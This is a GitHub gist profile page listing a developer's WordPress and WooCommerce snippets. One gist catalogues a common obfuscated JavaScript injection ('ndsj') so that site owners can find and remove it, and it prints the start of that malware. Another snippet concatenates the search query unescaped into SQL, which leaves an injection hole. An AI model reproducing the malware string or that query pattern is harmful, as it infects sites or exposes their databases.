Skip to content

Instantly share code, notes, and snippets.

View Jany-M's full-sized avatar
🎯
Focusing

Jany Martelli Jany-M

🎯
Focusing
View GitHub Profile
@Jany-M
Jany-M / woo_smart_multiple_addresses.php
Last active December 19, 2025 01:03
[WOO] Smart multiple billing address for WooCommerce
<?php
/**
* ============================================================================
* SMART MULTIPLE BILLING ADDRESSES SOLUTION
* ============================================================================
* 1. Store alternate addresses separately (never touch default WooCommerce billing)
* 2. Populate checkout fields from alternate address when selected
* 3. Save alternate address to custom storage after order
* 4. Restore original billing data immediately after checkout
@Jany-M
Jany-M / fetch_github_actions_logs.py
Created December 10, 2025 20:05
Github Actions Workflow run logs retriever (Debug failes jobs)
#!/usr/bin/env python3
"""
Script to fetch GitHub Actions workflow run logs
The script fetches the latest failed jobs, then creates a log file with error summary and job run log
Usage:
python fetch_github_actions_logs.py [--branch BRANCH] [--run-id RUN_ID] [--all-failed] [--per-page N]
"""
# SET UP
@Jany-M
Jany-M / acf-force-below-editor.php
Created November 4, 2025 20:41
ACF vs Gutenberg: Force field groups to appear BELOW content editor (instead of being stuck in sidebar)
<?php
/**
* Force ACF Field Groups to Show Below Gutenberg Editor
*
* This attempts to force the "normal" position of an ACF Field Group, to work in Gutenberg by using WordPress meta box hooks.
* This is a workaround and may not work reliably.
* The "normal" position is not officially supported by ACF in Gutenberg, as of November 2025.
*
* Developed by Jany Martelli @ Shambix - https://www.shambix.com
*
@Jany-M
Jany-M / wp-shambix_del_thumbs_bulk_by_year.php
Created June 1, 2025 00:45
[WP] WordPress utility for cleaning up generated image variations (thumbnails) garbage in bulk, and for regenerating thumbnails for specific images. With every deletion or regeneration, it also updates the attachment metadata in the database to remove references to deleted variations.
<?php
/*
WordPress utility for cleaning up generated image variations (thumbnails) in bulk, in a wp-content/uploads/{year} directory (all months), and for regenerating thumbnails for specific images.
With every deletion or regeneration, it also updates the attachment metadata in the database to remove references to deleted variations.
Drop the file in the ROOT of your website (not in plugins) and access it via browser directly after you have logged into your WordPress dashboard first. It only works for administrator users.
ALWAYS backup your database AND files before using it. Delete the file after use.
Made to work on WP Engine, but should work on any host.
@Jany-M
Jany-M / wp_common_hack_strings.js
Last active June 9, 2025 00:38
[WP] WordPress common Javascript hack strings
// Common JS strings injected in all core, themes and plugins .js files (at the very end) - Use String Locator plugin and replace with empty space and/or use Force Reinstall plugin to reinstall all plugins - Remember to reinstall WP core files too
// Look for these plugins and remove them: Core, Core Stub
// Look for these themes and remove them: Classic
// Want to dig deeper? https://0x1.gitlab.io/security/Malware-Analysis-Tools-List/
// 1
;if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,Http
@Jany-M
Jany-M / wp_include_terms_in_search_wpml_compatible.php
Last active June 6, 2021 16:16
[WP] Include terms in WordPress standard search results + WPML compatibility
<?php
function custom_search_where($where){
global $wpdb;
if (is_search() && get_search_query())
$where .= "OR ((t.name LIKE '%".get_search_query()."%' OR t.slug LIKE '%".get_search_query()."%') AND {$wpdb->posts}.post_status = 'publish')";
// WPML
if (function_exists('icl_get_languages')) {
@Jany-M
Jany-M / php-pools.md
Last active June 9, 2025 00:38 — forked from holmberd/php-pools.md
Adjusting child processes for PHP-FPM (Nginx)
@Jany-M
Jany-M / wc_dynamic_saleprice.php
Last active July 6, 2023 10:42
[WP][WooCommerce] Calculate sale price dynamically / programmatically based on taxonomy term custom field % (also works for Facebook Catalog feed)
<?php
// The discount is set through a term meta 'sale_value' associated to the product, so that product regular or sales prices never need to changed manually
// The script also assumes the use of ACF, through get_field()
// BACKEND (Product list, FB feed)
function custom_dynamic_sale_price( $sale_price, $product ) {
$id = $product->get_id();
$tax = get_the_terms($id,'product_cat');
$regular_price = wc_format_decimal( $product->get_price() );
@Jany-M
Jany-M / google_map_api3_multiple_locations_infowindow_with_html_gallery.js
Last active February 17, 2020 16:30
Google Maps API3 - Multiple markers and Infowindow with custom content and gallery, using Geocode
@Jany-M
Jany-M / remove_admin_menu_items.php
Created December 17, 2019 16:19
[WP] Edit WordPress admin menu (backend) - Remove items/pages and sub-items/sub-pages, including Customizer
<?php
// Remove items from menu for Editors
function remove_admin_menu_items() {
if(current_user_can('editor') && !current_user_can('administrator')) {
// Remove menu items
// Tools
remove_menu_page( 'tools.php' );